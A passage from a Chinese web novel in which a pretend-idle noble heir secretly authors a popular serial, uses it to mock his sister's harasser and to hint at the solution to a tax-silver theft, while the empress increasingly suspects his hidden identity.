“姓名不过代号,相逢即是有缘。柳大家,若有缘,江湖自会再见;若无缘,知音亦在心间。何必执着于虚名?夜色已深,本公子乏了,就此别过。”
这番话,配合那首气象万千的诗,瞬间将一个视功名利禄如粪土、纵情山水、神秘莫测的‘江湖高人’形象塑造得淋漓尽致!
“……”
整个百花楼,再次陷入了一种奇异的寂静。
如果说之前的琴技是技艺的碾压,那
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么刚才这首诗和这番话,则是境界和胸怀的彻底征服!
柳絮呆立台上,美眸中异彩连连,心中充满了震撼与倾慕。
她看着那珠帘后的模糊身影,仿佛看到了一位游戏风尘、看破红尘的绝世奇人!
之前被拒绝的那点不快,早已烟消云散,只剩下无比的敬仰。
“公子境界,奴家…受教了!”
她再次深深一福,这一次,带着发自内心的崇敬,“恭送公子!”
隔壁,萧璇月手中的茶杯微微一顿,凤眸中精光爆闪!
这首诗!这气魄!
这超然的态度!
这真的是那个声名狼藉的纨绔、在翰林院里摸鱼的江凡吗?
两种形象在她脑海中激烈碰撞,让她心绪难平。
这家伙,藏得也太深了!
云暮更是低呼出声:
“陛下…这诗…这气度…他…”
萧璇月缓缓放下茶杯,嘴角勾起一抹意味深长的弧度:
“看来,朕这位镇国公世子,比朕想象中…有趣得多。”
她现在几乎可以肯定,江凡绝非凡品!
至于他和‘逍遥公子’是否有关系,这个念头再次不受控制地冒了出来,并且比以往任何时候都更加强烈。
江凡装逼成功,不敢多留,确认外面关注度稍减,老鸨也识趣地没有再来打扰后,这才贼头贼脑地溜到门边。
悄悄拉开一条缝,见走廊无人,立刻施展游龙身法,身形几个闪动,就悄无声息地从百花楼的后门迅速溜走,消失在夜色中。
他走后不久,‘望梅阁’的门也轻轻打开。
萧璇月和云暮走了出来。
“陛下,传闻江世子文不成武不就,刚刚他竟然施展身法!就刚刚展现的实力,起码都是后天二品!”
萧璇月目光复杂地看了一眼江凡消失的方向,对云暮低声道:
“回宫。”
云暮低声问:“陛下,不…不等那位‘逍遥公子’了?”
萧璇月轻笑一声,摇了摇头,语气带着一丝玩味:
“逍遥公子神龙见首不见尾,是老是少,是男是女都未可知,在此苦等无异**捞针。况且…朕现在,对另一位‘公子’,更感兴趣。”
主仆二人也悄然离开了百花楼。
第018章 看着他表演
镇国公府,江凡的小院。
江凡刚蹑手蹑脚地回到房间,就听到院门被轻轻敲响,姐姐江芷兰温柔中带着一丝担忧的声音传来:
“凡儿,睡了吗?”
江凡心里一咯噔,赶紧把易容的痕迹擦掉,外套胡乱塞进衣柜,做出一副刚被吵醒的慵懒腔调:
“姐?还没…刚躺下,有事吗?”
说着走过去开了门。
江芷兰穿着一身家常的藕荷色衣裙,站在门外,借着月光打量了他几眼,秀眉微蹙:
“你身上…有酒气。又跑出去喝酒了?”
江凡心里发虚,脸上却堆起憨笑:
“没有没有!就在…就在外面随便逛了逛,喝了点小酒解解乏,真的没多喝!姐你看我这不是好好的嘛,一点没醉!”
他故意转了个圈,显示自己‘清醒’。
江芷兰看着他这副样子,又是好气又是好笑,无奈地叹了口气:
“你呀!爹要是知道你又跑出去胡混,非打断你的腿不可!以后少去那些不三不四的地方,听到没有?”
“听到了听到了!姐你放心,我以后一定早点回来!”
江凡连忙保证,然后赶紧转移话题,
“姐,你怎么这么早就从宫里回来了?陛下没留你说话?”
提到这个,江芷兰脸上露出一丝疑惑:
“说来也怪,今晚我原本在宫里陪陛下说话,但陛下似乎有心事,坐了一会儿就说乏了,让我先回来了。”
江凡对女帝可不关心,只是‘哦’了一声。
江芷兰似乎想起什么,眉宇间掠过一丝烦忧,欲言又止。
江凡敏锐地察觉到,追问道:
“姐,你怎么了?是不是宫里有人欺负你了?”
他立刻摆出‘谁敢欺负我姐我跟他拼命’的架势。
江芷兰看着他这护犊子的样子,心里一暖,但还是摇摇头,勉强笑道:
“没有的事,别瞎猜。是…是宫外的一点小事。吏部张侍郎家的公子,最近不知怎的,总是托人送些诗词礼物到府上,甚是烦人。我拒了几次,他还是不死心。”
吏部张侍郎的公子?
江凡眼神瞬间冷了下来。
记忆里,那是个典型的纨绔,仗着老爹的权势,在京城名声很臭,姐姐怎么会被他缠上?
“哪个混账东西敢骚扰你?!”江凡怒气上涌,
“姐你别怕,明天我就去找他算账!”
“你别胡来!”江芷兰赶紧拉住他,嗔怪道,
“不过是送些东西,我不理他就是了。那张侍郎是**的人,势力不小。听话,这事姐姐自己能处理,你就当不知道,千万别冲动,知道吗?”
她最怕的就是这个弟弟因为她而闯祸。
江凡看着姐姐担忧的眼神,知道硬来不行,反而会让她更担心。
他压下火气,装作被说服的样子,嘟囔道:
“好吧好吧,听你的。不过姐,他要是再敢过分,你一定告诉我!”
“知道了,快回去睡吧,时辰不早了。”
江芷兰见他答应,松了口气,又叮嘱了几句,这才转身离开。
送走姐姐,江凡关上门,脸上的嬉笑瞬间消失,眼神变得冰冷。
张侍郎的儿子?
敢骚扰我姐?
真是活腻歪了!
他走到书桌前,铺开纸张,眼中闪过一丝狠色。
正好今晚就拿你们父子开刀,给新章节加点‘料’!
他磨好墨,书画技能发动,笔走龙蛇,文思如泉涌。
在《深宫秘恋》的最新章节里,一个令人作呕的新反派‘张尚书’和他的蠢儿子“张衙内”闪亮登场!
书中,张尚书是个阿谀奉承、贪赃枉法的酷吏,而张衙内则是个欺男霸女、尤其喜欢骚扰良家妇女的恶少。
江凡用极其辛辣讽刺的笔触,描绘了张衙内如何癞**想吃天鹅肉,纠缠一位清贵官员的妹妹。
结果被书中主角林枫设计教训,当众出丑,连带着他老爹的丑事也被揭发,最终父子二人双双下狱,抄家流放的‘美好’结局。
写完这段,江凡只觉得神清气爽,胸中恶气尽出。
一般的百姓只能看个乐呵,但官场的人一看就知道写的是谁。
他检查了一遍,确保没有问题,然后提交给了系统。
【作品检测中…完整性符合要求,审核通过。】
【开始随机生成复刻本(500份),投放至京城及周边区域…投放中…】
“哼,敢惹我姐,让你们父子在话本里遗臭万年!”
江凡冷笑一声,吹熄灯火,躺到床上。
拥有满级的书画技能,写作速度极快,根本没耽误他多少休息时间。
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他心满意足地闭上眼睛,期待着明天人气值的新一**涨,以及…张侍郎父子看到话本后的精彩表情。
第二天。
江凡到了翰林院,依旧坐在靠窗的角落,面前摊开着一本厚厚的《大夏律例疏议》,手里握着笔,眼神却有些飘忽。
他脑海里正盘算着昨晚新章节发布后,系统里那又涨了一小截的人气值该优先兑换点什么。
现在人气越来越高,每天都能获得一两万的人气值,让他心中美滋滋。
正想得出神,一股熟悉的香风再次不期而至。
所有书吏和低阶编修再次慌不迭地起身、跪倒,声音带着比上次更甚的惶恐:
“参…参见陛下!”
江凡心里咯噔一下,暗叫不妙。
这女帝怎么又来了?
还让不让人安心摸鱼了?
他连忙收敛心神,【敛息诀】悄然运转,跟着众人一起行礼,努力将自己伪装成墙角的一粒尘埃。
“平身。”
萧璇月的声音清冷依旧,听不出喜怒。
她凤眸流转间,自带一股不容置疑的威严。
目光看似随意地扫过众人,最终,又一次落在了角落里的江凡身上。她没有像上次那样询问书籍或差事,而是径直走到江凡的书案前,语气平淡地问道:
“江编修,近日可曾**练过弓马骑射?或是…抚琴弄箫之类的雅事?”
江凡心头一紧,背后瞬间沁出冷汗。
弓马骑射是武,抚琴弄箫是文,都是纨绔绝不擅长的事情。
他脸上立刻堆起窘迫和惭愧的笑容,挠了挠头,讪讪道:
“回陛下,弓马骑射…那个,太累了,而且容易摔着,下官…下官身子骨弱,就没怎么练。至于琴箫嘛…”
他露出一个为难的表情,
“那些之乎者也的东西,听着就头疼,有那功夫,还不如…嘿嘿…”
他适时地打住,留下一个暧昧眼神,完美演绎了一个不学无术的浪荡子。
萧璇月凤眸微眯,静静地看着他表演,心中冷笑:
装!继续装!
昨晚在百花楼,那曲《高山流水》弹得惊天地泣鬼神,那首诗做得气吞山河,那溜走时施展的身法虽未尽全力,却也绝非普通人能及!
现在跟朕在这里演‘身子骨弱’、‘头疼之乎者也’?
第019章 女帝的怀疑
但萧璇月面上却不露分毫,只是淡淡点了点头,话锋却不着痕迹地一转:
“哦?是吗。看来江编修志不在此。不过,多**些技艺,总是有益身心。”
江凡连忙点头哈腰:“是是是,陛下教训的是,下官…下官以后一定注意。”
心里却暗道:信你才怪!
就在这时,女官云暮悄步上前,将一卷新到的书册恭敬地呈给萧璇月,低声道:
“陛下,今日逍遥公子的新章节送到了。”
萧璇月眸光一闪,接过书册,当着江凡和众人的面,就这么随意地翻看起来。
她看得很快,目光掠过那些让她面红耳赤的‘林枫与女帝’互动时,眉头微不可察地蹙了一下。
但很快,她的注意力就被一条支线剧情吸引了。
书中出现了一个新反派‘张尚书’和他的儿子‘张衙内’。
这‘张衙内’是个典型的恶少,尤其喜欢纠缠良家妇女。
最新情节正是他如何癞**想吃天鹅肉,不断骚扰一位清贵官员的妹妹,送诗词、送礼物,死缠烂打,令人作呕。
萧璇月看到这里,心中猛地一动!
她抬起眼,目光似是不经意地扫过江凡,缓缓开口道:
“这逍遥公子,消息倒是灵通。书中这‘张衙内’纠缠官员之妹的情节,倒是让朕想起一事…”
她顿了顿,观察着江凡的反应,继续说道:
“江编修,朕听闻,昨日吏部张侍郎家的公子,似乎也对你姐姐芷兰,多有叨扰?可有此事?”
江凡心中再次一凛!
女帝怎么连这个都知道?!
姐姐昨晚才跟他说起,今天女帝就知道了?
是姐姐跟她说的,还是…她一直在暗中关注我家?
他面上却努力保持镇定,甚至恰到好处地露出一丝愤懑和无奈,躬身道:
“回陛下,确…确有此事。家姐昨晚与下官提起,甚是烦恼。那张公子…确实有些不知分寸。”
他语气诚恳,带着对姐姐的维护和对恶少的厌恶,表现得十分自然。
萧璇月看着他这副‘真情流露’的样子,心中的狐疑更重了。
时间点太巧了!
江芷兰也跟她提起过,今天逍遥公子的话本里就出现了几乎一模一样的情节!
这真的是巧合?
还是逍遥公子的神通广大,对官宦人家的事情一清二楚?
她故作沉吟状,叹了口气,一副爱莫能助的表情:
“那张侍郎毕竟是朝廷命官,其子虽行为不端,但终究只是送些礼物,未曾用强,朕也不好因这等小事便加以惩处,以免寒了臣子之心。
江编修,让你姐姐暂且忍耐,不予理会便是。若那张公子真有逾越之举,朕定不轻饶。”
江凡闻言,连忙躬身:
“陛下圣明!下官替家姐谢过陛下关怀!家姐也明白这个道理,只是心中憋闷罢了。下官定会劝慰家姐,以大局为重。”
他嘴上说得漂亮,心里却已经开始盘算:不好明着惩处?
哼,小爷我在话本里给你们父子安排个‘不体面’的死法总行吧?
比如被马踩死、掉茅坑淹死什么的…
萧璇月将江凡的反应尽收眼底,见他应对得体,看不出丝毫破绽,心中的疑团却越滚越大。
她没再多说什么,又随意问了几句翰林院的闲事,便摆驾离开了。
直到那抹绛紫色的身影消失在视线尽头,值房内的众人才长长舒了口气,纷纷用同情又带着点幸灾乐祸的眼神看向江凡——
被陛下‘特别关注’,可不是什么好事。
江凡坐回椅子上,掌心已是一片湿冷。
这女帝,怎么感觉很关注自己?
难道是老爹跟女帝说了什么?让女帝多关照自己?
哎,有空一定要劝劝老爹,自己只想当个小透明。
当务之急,是尽可能的提升实力。
于是他立刻心神沉入系统,查看人气值。
果然,随着新章节的传播和越来越多的人关注这个每天神秘出现连更的话本,人气值已经积累到了一个相当可观的数字,足够他再次提升实力了!
“兑换!提升修为至先天初期!”
江凡毫不犹豫地下达指令。
【消耗35000点人气值,开始灌输先天级内力…】
轰隆!
一股磅礴浩瀚的能量瞬间涌入体内!
一种脱胎换骨的感觉油然而生!
五感再次飙升,神识初具雏形,能够模糊地感知到周围数丈内的气息流动。
体内真气运转间带着风雷之声!
先天境界,与后天已是天壤之别!
感受着体内澎湃的力量,江凡心中大定。
但紧接着,
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一股危机感涌上心头。
修为提升是好事,但若被高手察觉,之前的伪装就前功尽弃了!
他立刻在商城中搜索,很快找到了目标——
【高级敛息术】,兑换需8000人气值。
“兑换!”
【兑换成功!高级敛息术已掌握。】
一股玄奥的法门印入脑海,江凡心念一动,周身那刚刚突破的先天气息瞬间变得晦涩不明,重新变回了那个手无缚鸡之力的‘废物’模样。
只要他不主动全力运转功力,即便是宗师级高手,不刻意探查也难以看穿他的虚实。
“这下应该安全多了。”
江凡松了口气,继续安心‘摸鱼’,等待下班。
……
与此同时,紫宸殿御书房内。
萧璇月召见了江芷兰。
两人如同闺中密友般闲聊了几句,萧璇月便看似无意地提起了张侍郎公子骚扰之事。
江芷兰叹了口气,眉宇间带着真实的烦恼:
“可不是嘛陛下,那张公子也不知怎的,近日总是托人送东西来,拒也拒不掉,真是烦**。
昨晚我还跟凡儿抱怨来着,那孩子听了还挺生气,说要去找人家算账,被我拦下了。”
萧璇月心中一动,状似随意地问道:
“哦?江凡还挺关心你这个姐姐的。他平日在家…可喜欢读书习武?”
江芷兰闻言,脸上立刻露出一种‘恨铁不成钢’的无奈笑容,摆手道:
“陛下您可别提了!他呀,看见书本就头疼,让他练武?跑两步就喊累!我爹为这事没少揍他,可就是烂泥扶不上墙!
唉,我现在也不指望他有什么大出息了,只盼着他能安安分分,别惹祸,以后陛下开恩,给他个闲差混口饭吃,我们江家就感激不尽了。”
她的语气、神态,充满了对弟弟‘不成器’的担忧和溺爱,看不出丝毫作伪。
萧璇月又试探着问了几句江凡幼时的趣事和学业,江芷兰的回答无不印证着江凡‘废物纨绔’的形象。
甚至还有些令人啼笑皆非的糗事。
看着江芷兰清澈而带着些许忧愁的眼睛,萧璇月基本可以断定,这位闺蜜对弟弟的真实情况一无所知。
那么,镇国公江撼岳呢?
他是否知情?
还是说…这一切,真的只是江凡个人的秘密?
第020章 父亲的麻烦
萧璇月按下心中的疑虑,又和江芷兰聊了些别的,便让她退下了。
御书房内重归寂静。
萧璇月走到窗前,望着宫墙外的天空,目光深邃。
“江凡…”她低声咀嚼着这个名字。
一个能文能武、心思缜密、却甘于伪装成废物纨绔的人…他到底想做什么?
“云暮。”她轻声唤道。
“奴婢在。”
“加派人手,暗中留意江凡的一举一动。但切记,不可跟得太近,以免打草惊蛇。朕要看看,这位镇国公世子,究竟能‘藏’到几时。”
萧璇月的嘴角,勾起一抹弧度。
这场猫鼠游戏,似乎越来越有趣了。
而此刻,刚刚下值回府的江凡,莫名地打了个寒颤,狐疑地看了看四周晴朗的天空。
“奇怪,怎么突然觉得…有点冷?”
好不容易等到下午,江凡伸了个懒腰,优哉游哉地踱出翰林院那沉闷的值房。
“嗯,人气值攒着点,下次直接冲击先天中期!”
他美滋滋地盘算着,刚拐过一个街口,却见一顶颇为眼熟的青呢官轿急匆匆地从对面赶来,轿夫脚步飞快,几乎是小跑着前进。
轿子旁边跟着的几个家仆也是神色慌张。
江凡眼尖,一眼认出这是吏部张侍郎的轿子。
“咦?这老小子,火烧屁股似的,往皇宫方向跑什么?”
江凡心里嘀咕了一句。
他自然认得这张侍郎,正是昨晚被他写进话本里,儿子骚扰他姐姐的那个官员。
“难道是看到新章节,气疯了,去找陛下告状?”
江凡嘴角勾起一抹坏笑,颇有些幸灾乐祸。
他混在人群中,张侍郎的轿子风风火火地从他身边掠过。
江凡吹着不成调的口哨,继续往国公府溜达。
他现在是先天高手了,虽然极力收敛气息,但步履间自然带着一股轻快从容,只是他自己尚未完全察觉。
回到镇国公府,气氛却有些异样。
下人们个个屏息凝神,走路都踮着脚尖。
江凡心中一动,快步走向内院姐姐江芷兰居住的‘兰馨苑’。
果然,刚进院门,就看见姐姐独自坐在院中的石凳上,对着院中一丛开得正盛的兰花发呆。
眉宇间笼罩着一层忧色,连江凡进来都没察觉。
“姐?”江凡唤了一声,走到她身边坐下,
“怎么了?脸色这么难看?谁惹你不高兴了?是不是那个张混账又派人来骚扰了?”
他故意做出撸袖子要去找人算账的架势。
江芷兰被他的声音惊醒,抬起头,勉强挤出一丝笑容,摇了摇头:
“不是,凡儿,你回来了。没事,就是…有些累了。”
“姐,你骗不了我。”
江凡收起玩笑之色,认真地看着她,
“到底出什么事了?是不是爹…”
他心中升起一股不祥的预感。
父亲江撼岳奉旨出京押送税银,已有些时日了。
江芷兰看着弟弟关切的眼神,又想到他如今也在朝为官,或许…也能分担一些?
她犹豫再三,终究是叹了口气,挥退了左右的丫鬟,压低声音:
“凡儿,父亲…父亲可能遇到**烦了!”
江凡心里咯噔一下:“什么麻烦?”
“父亲奉旨押解的一批重要税银,在回京途中…出事了!”
江芷兰的声音带着哽咽,
“入库清点时明明没问题,谁知押运到半路,休整时打开查验,里面…里面竟然全都变成了石头!”
“什么?!税银变石头?!”
江凡失声惊呼,猛地站了起来,
“这怎么可能?!一路上重兵把守,层层关卡,谁能瞒天过海?”
“就是不知道啊!”江芷兰急得直掉眼泪,
“父亲第一时间**息,只派心腹密报陛下。陛下是相信父亲的,可…可三百万两税银不翼而飞,这是天大的干系!
朝中不知多少双眼睛盯着!若是找不回来,那些与父亲不和的官员定会群起**!到那时,轻则削爵罢官,重则…重则抄家流放啊!”
说到最后,她已是泣不成声。
江凡如遭雷击,呆立当场。
三百万两!还是税银!
这特么是泼天大案!
老爹要是倒了,他这国公府世子还当个屁?
还怎么舒舒服服地当纨绔、赚人气值?
覆巢之下无完卵!
一股寒意从脚底直冲头顶。
他瞬间意识到问题的严重性远超想象。
女帝即使信任老爹,但压力之下,也必须给天下人一个交代!
“陛下…陛下怎么说?”
江凡强迫自己冷静下来,沉声问道。
“陛下已密令父亲增派可靠人手,暗中严查,限期找回税银。但…但父亲
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在密信中说,此事做得天衣无缝,他连银子是在哪个环节被掉的包都毫无头绪,犹如大海捞针…”
江芷兰绝望地摇头。
江凡眉头紧锁,大脑飞速运转。
他不懂查案,但前世看过无数的侦探小说、刑侦剧,各种匪夷所思的作案手法听得多了。
结合这个世界的实际情况…瞒天过海,税银变石头…这需要里应外合,需要极高的权限和精密的计划…
一个念头如同闪电般划过脑海——女帝!
女帝一直在看自己写的《深宫秘恋》!
如果自己通过话本最新章节,把可能性告诉女帝...
“姐,你别太担心,陛下信任父亲,一定会查个水落石出的!”
江凡按住姐姐颤抖的肩膀,语气坚定地安慰道,
“我这就回去想想办法,看能不能帮上什么忙。你切记,此事绝不可再对任何人提起!”
安抚好姐姐,江凡立刻转身回到自己的‘听雨轩’,反手锁上房门。
“系统,兑换【刑侦推理(专家级)】!”
他毫不犹豫地花费了8000点人气值。
瞬间,关于痕迹检验、逻辑推理、犯罪心理学的海量知识涌入脑海。
他铺开纸张,宗师级的书画技能和专家级的刑侦知识结合,文思如泉涌!
他不再写那些情情爱爱,而是将《深宫秘恋》暂时抛在一边,以‘林枫’为主角,构思了一个全新的“税银失窃案”副本!
在故事中,他详细描绘了一个庞大的贪官集团,如何利用职权,在税银入库清点后、装车封存前的某个关键环节,勾结押运队伍中的内鬼,完成偷天换日。
他还写出了林枫如何通过勘察现场遗留的蛛丝马迹、分析人物关系、以及逻辑推演,一层层抽丝剥茧,最终锁定真凶的过程!
他写得极其详尽,仿佛亲眼所见!
虽然人名、地名都用了化名,但作案手法、调查思路,却指向性极其明确!
他相信,只要女帝和父亲看到,一定能从中得到启发!
【作品检测中…完整性符合要求,审核通过。】
【开始随机生成复刻本(500份),投放至京城及周边区域…投放中…】
看着系统提示,江凡长长舒了口气,感觉心中的巨石落下了一半。
他能做的只有这么多了。
现在,只能等待。
第021章 被彻底看穿
紫宸殿,御书房。
夜已深,烛火摇曳。
萧璇月揉着发胀的太阳穴,面前是暗卫刚刚送来的、还带着墨香的《深宫秘恋》最新章节。
她心烦意乱。
白天张侍郎跑来哭诉话本影射,被她打发走;
紧接着又收到镇国公关于税银案的密报,三百万两雪花银不翼而飞,换成石头!
这简直是耸人听闻!
她虽信任江撼岳,但此事一个处理不好,便是朝堂震动,国本动摇!
她已密令江撼岳暗中调查,但毫无头绪。
疲惫和焦虑让她难以入眠,索性拿起这话本,打算看看那些荒唐的感情戏,暂时放空一下心神。
然而,当她翻开书页,习惯性地跳过那些让她脸热的‘林枫与女帝’互动,目光却被一个全新的支线剧情吸引了——
‘林枫智破税银谜案’!
萧璇月的心猛地一跳!
税银?!
怎么会这么巧?!
她屏住呼吸,迫不及待地看了下去。
越看,她的脸色越是凝重,越是震惊!
书中描述的调包手法之精妙、之大胆,调查过程之严谨、之清晰,仿佛作者亲临现场!
尤其是其中提到的几个关键调查方向和建议,比如查验最初装银的箱笼是否有夹层或特殊处理、
核对所有经手人员在那段时间的异常行为、调查近期是否有大规模不明来源的矿石进出记录等等。
简直是拨云见日,为她和大理寺的调查提供了全新的、极具操作性的思路!
“这…这怎么可能?!”
萧璇月猛地站起身,在御书房内来回踱步,心中掀起了惊涛骇浪!
“税银案是绝密!朕也是今日才得知详细!这逍遥公子…他怎么可能知道得如此清楚?!甚至还给出了调查方法?!”
一个让她毛骨悚然的念头浮现:难道这逍遥公子,是案犯之一?
或者…是能接触到最核心机密的朝中重臣?
不,不对!
如果是案犯,怎么会自曝其短?
如果是朝中重臣,为何要用这种方式匿名献策?
那剩下的唯一解释就是…此人有着鬼神莫测之能,或是有极其隐秘高效的信息渠道!
忽然,她想起白天江芷兰入宫时,曾忧心忡忡地提起父亲押运税银辛苦…难道…
“云暮!”萧璇月声音急促,
“立刻将书中关于税银案调查的这部分,一字不落、原封不动地抄录下来,用六百里加急,密送镇国公江撼岳手中!让他按此思路,秘密查探!”
“是!陛下!”
云暮也意识到事态严重,连忙领命而去。
吩咐完,萧璇月深吸一口气,努力平复激荡的心情。
她再次拿起那本书稿,目光锐利如刀。
逍遥公子…江凡…这两个影子在她脑海中再次重叠。
“传江芷兰即刻入宫!”
她要对证一件事。
深夜被召见,江芷兰心中忐忑不安。
来到御书房,见女帝面色凝重,更是吓得跪伏在地。
“芷兰,朕问你,今日你回府后,可将税银案之事,告知了何人?”
萧璇月的声音听不出喜怒。
江芷兰浑身一颤,以为陛下怪罪她泄露机密,连忙磕头:
“陛下恕罪!臣女…臣女回府后,心中惶恐,只见到了弟弟江凡,见他询问,便…便忍不住告诉了他。
但臣女再三叮嘱他绝不可外传!凡儿他虽然顽劣,但此事关乎父亲和全家性命,他断然不敢胡说啊陛下!”
她急得眼泪都掉下来了。
果然告诉了江凡!
萧璇月心中巨震!
时间点完全吻合!
江凡下午得知消息,晚上这话本的最新章节就更新了税银案的内容!
天下哪有如此巧合之事?!
她强压住立刻派人去把江凡抓来审讯的冲动,继续不动声色地问道:
“哦?江凡听了之后,是何反应?”
江芷兰抽泣着回答:
“凡儿他…他很吃惊,也很害怕。安慰了臣女几句,就说要回房想想办法…可他一个孩子,能有什么办法?
想必是回去躲着了。陛下,凡儿他真的什么都不知道,您要怪就怪臣女吧!”
看着江芷兰情真意切、完全不知内情的样子,萧璇月基本可以排除她参与其中的可能。
那么,剩下的焦点,就完全**在了那个看似顽劣、‘无能’的江凡身上!
“好了,朕没有怪罪你的意思。此事关系重大,你切记守口如瓶。先退下吧。”
萧璇月挥了挥手,语气缓和了些。
江芷兰千恩万谢地退下了。
御书房内重归寂静。
萧璇月走到窗前,望着窗外沉沉的夜色,心中已是翻
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江倒海。
江凡…逍遥公子…
一个是有名的纨绔废物,一个是才华横溢、洞悉世事的隐士高人。
这两个截然不同的形象,难道…真的是同一个人?
如果真是,那他伪装这么多年,目的何在?
他献上治水策、揭露贪官、甚至此刻指点税银案,又是为了什么?
只是为了…好玩吗?
还是有着更深层的目的?
萧璇月发现,自己对这个镇国公世子的好奇和忌惮,已经达到了顶点。
“加派一倍人手,给朕盯紧江凡!他的一举一动,见过什么人,说过什么话,甚至每天吃什么饭,朕都要知道!”
萧璇月对悄然出现的暗卫首领下令,凤眸中寒光闪烁,
“但切记,没有朕的命令,绝不可惊动他!”
“是!”
暗卫首领领命,悄无声息地融入黑暗。
萧璇月回身,拿起御案上的话本,指尖轻轻拂过‘逍遥公子’四个字。
“江凡…你究竟,还有多少秘密?”
接下来的两日,皇城表面风平浪静,仿佛什么都没发生过。
早朝依旧,官员们按部就班,市井依旧喧嚣。
但一股无形的暗流,却在知情者之间汹涌激荡。
镇国公江撼岳以雷霆万钧之势,按照女帝密信中所提供的、近乎‘未卜先知’般的查案思路,精准地锁定了税银被掉包的关键环节——
并非在押运途中,而是在户部银库内,利用一次看似正常的‘分装查验’。
由内鬼勾结,以极高明的障眼法和提前准备好的、与银锭重量形状无异的特制石坯完成了偷梁换柱!
参与此案的户部、工部乃至押运队伍中的二十余名中低层官员被一举拿下,铁证如山!
这些官员在被抓获时,多数面如死灰。
但更有几人,在最初的惊恐过后,竟露出近乎癫狂的愤恨,嘶声咒骂着一个名字——逍遥公子!
他们苦心经营、自以为天衣无缝的计划,竟在话本小说里被描绘得清清楚楚,仿佛那神秘的作者就站在他们身边,亲眼目睹了全过程!
这种被彻底看穿的恐惧,远比落网更让他们崩溃。
消息通过特殊渠道传回宫中,女帝萧璇月闻之,在震怒于贪官胆大包天的同时,心中对‘逍遥公子’的惊悸与好奇,也达到了一个新的顶点。
第022章 准没有好事
镇国公江撼岳在密折中,除了禀明案情,更是表达了对‘献策高人’的感激涕零。
称若非其指点,此案必将陷入僵局,届时他江撼岳百口莫辩,国公府危矣!
他恳请陛下务必重赏这位高人。
萧璇月放下密折,走到窗边,心中五味杂陈。
感激吗?
自然是有的。
若非逍遥公子,朝廷将损失巨款,威信扫地,她也将失去一位股肱之臣。
但更多的,是一种警惕和…一丝被无形之手牵引的不安。
这个逍遥公子,能量太大了!
大到可以洞悉连她这个皇帝都难以察觉的阴谋!
她回到御案前,鬼使神差地又拿起了暗卫刚刚送来的《深宫秘恋》最新章节。
她几乎是下意识地跳过那些让她耳根发热的‘林枫深夜潜入女帝寝宫’之类的荒唐情节,直接寻找其中可能夹杂的‘私货’。
果然,在一段‘林枫’与‘女帝’月下对饮、互诉衷肠的间隙,作者借‘林枫’之口,又吟出了一首咏志诗:
“千锤万凿出深山,烈火焚烧若等闲。粉骨碎身浑不怕,要留清白在人间。”
诗句铿锵有力,掷地有声。
仿佛正是对此次税银案、对朝中贪墨风气的一种回应和鞭挞!
萧璇月轻声吟诵,只觉一股浩然正气扑面而来,让她精神为之一振。
这文采,这胸怀…
不由自主地,她的思绪又飘回了那个百花楼的夜晚。
那个在包厢里的惊艳的身影——江凡。
两首诗,与眼前这首《石灰吟》,风格或许有异,但其中蕴含的才情和灵气,却有种一脉相承的感觉!
难道…真的只是巧合吗?
江凡,和这个逍遥公子,即便不是同一人,也必定有着极深的关联!
这个念头一旦升起,便般在她心中疯狂滋长。
……
翰林院值房内。
江凡表面正襟危坐,对着面前一本《礼仪制式》发呆,心神却早已沉入系统界面。
【人气值:108700】
看着这个数字,江凡心中乐开了花。
随着系统发放数量从一百份变成五百份,人气也从一天几千达到每天几万。
“兑换!提升修为至先天中期!兑换地阶下品心法《混元一气诀》!兑换地阶下品剑法《惊鸿十三剑》!”
他毫不犹豫地发出指令。
实力才是硬道理,尤其是在这暗流涌动的时刻。
【消耗50000点人气值,开始灌输先天中期内力…】
【消耗20000点人气值,兑换《混元一气诀》成功,**感悟传输中…】
【消耗25000点人气值,兑换《惊鸿十三剑》成功,剑法感悟传输中…】
轰——!
磅礴精纯的能量瞬间灌入四肢百骸,经脉奔腾咆哮!
丹田内的真气进一步凝练,隐隐有液化的趋势!
五感神识再次提升,周身数丈内纤毫毕现!
《混元一气诀》的玄奥法门印入脑海,真气运转更加高效磅礴;
《惊鸿十三剑》的精妙剑招如同烙印在灵魂深处,心念一动,便可施展!
强大的力量感充斥全身,他赶紧运转【高级敛息术】,将刚刚突破的气息彻底掩盖,重新变回那个气息虚浮的纨绔模样。
“嘿嘿,先天中期!地阶**和剑法!现在就算面对一般的先天后期,我也有一战之力了!只要不遇到宗师老怪物,自保应该没问题了。”
江凡心中大定,继续美滋滋地摸鱼,规划着剩下的人气值该怎么花。
就在这时,那股熟悉的威压再次降临!
“陛下驾到——!”
值房内顿时又是一阵鸡飞狗跳,所有官员慌忙跪迎。
江凡心里暗骂一声‘女帝闲得蛋疼,天天往这里跑’,表面上却比谁都跪得快、头埋得低。
萧璇月莲步轻移,径直走到江凡面前,目光在他身上停留了片刻,才淡淡开口:
“都平身吧。江编修留下,朕有话问你。其余人,先退下。”
众人如蒙大赦,纷纷躬身退了出去。
值房内只剩下君臣二人。
气氛有些微妙的凝滞。
江凡垂手侍立,眼观鼻鼻观心,心里却在疯狂吐槽:
又来了又来了!这次又想干嘛?
小爷我刚突破,还没爽够呢!
萧璇月打量着他这副‘恭顺’的样子,想到他背地里可能拥有的惊世才华和武力,心中冷笑更甚。
她故意用轻松的语气开口,抛出一个好消息:
“江爱卿,有个好消息告诉你。你父亲镇国公,今日已押解案犯,顺利返京了。
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税银一案,已基本了结。”
江凡心中早有预料,但面上还是立刻露出‘惊喜交加’、‘如释重负’的表情,连忙躬身道:
“托陛下洪福!家父平安归来,臣…臣感激不尽!”
演技堪称影帝级别。
萧璇月将他细微的表情尽收眼底,心中冷哼:装得还挺像!
她话锋陡然一转,语气意味深长:
“此次能如此迅速破获此案,追回税银,多亏了一位高人暗中指点。江爱卿可知是谁?”
江凡心里一紧,面上却茫然道:
“高人?臣…臣不知。想必是陛下洪福齐天,自有神助?”
他继续装傻充愣。
萧璇月嘴角勾起一抹弧度,目光仿佛要刺穿他的伪装:
“哦?是吗?可据朕所知,这位高人,似乎与近日市井间流传甚广的一本话本…关系匪浅。”
她故意顿了顿,观察着江凡的反应,
“那话本中,竟将案犯作案的手法、细节,描绘得栩栩如生,仿佛亲见。这才让朕与你父亲,得以按图索骥,一举成功。
江爱卿…平日可喜欢看些闲书杂记?比如…《深宫秘恋》?”
江凡后背瞬间被冷汗浸湿!
女帝这是几乎把话挑明了!
她怀疑到自己头上了!
他心脏狂跳,但强大的心理素质和【敛息诀】带来的镇定效果让他面上丝毫不露破绽,反而露出一个恰到好处的表情:
“陛下说笑了…那种…那种书生写的荒唐东西,臣…臣是看不进去的...”
